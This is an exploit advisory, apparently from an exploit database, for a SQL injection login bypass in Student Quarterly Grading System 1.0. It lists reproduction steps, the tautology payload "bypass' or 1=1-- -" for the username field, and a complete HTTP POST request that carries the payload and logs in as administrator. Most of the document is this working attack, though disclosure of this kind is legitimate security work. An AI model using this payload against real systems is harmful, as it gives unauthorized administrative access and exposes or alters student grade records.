Student Quarterly Grading System 1.0 - SQLi Authentication Bypass

# Exploit Title: Student Quarterly Grading System 1.0 - SQLi Authentication Bypass
# Date: 04.10.2021
# Exploit Author: Blackhan
# Vendor Homepage: https://www.sourcecodester.com/php/14953/student-quarterly-grading-system-using-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14953&title=Student+Quarterly+Grading+System+using+PHP+and+SQLite+Database+Free+Source+Code
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Student Quarterly Grading System v1.0 Login page can be bypassed with a simple SQLi to the username parameter.

Steps To Reproduce:
1 - Go to the login page http://localhost/grading_system/login.php
2 - Enter the payload to username field as "bypass' or 1=1-- -" without double-quotes and type anything to password field.
3 - Click on "Login" button and you are logged in as administrator.

PoC

POST /grading_system/Actions.php?a=login HTTP/1.1
Host: localhost
Content-Length: 45
sec-ch-ua: "Chromium";v="93", " Not;A Brand";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/grading_system/login.php
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=arkil63kkqsabj3b8cf3oimm2j
Connection: close

username=bypass'+or+1%3D1--+-&password=bypass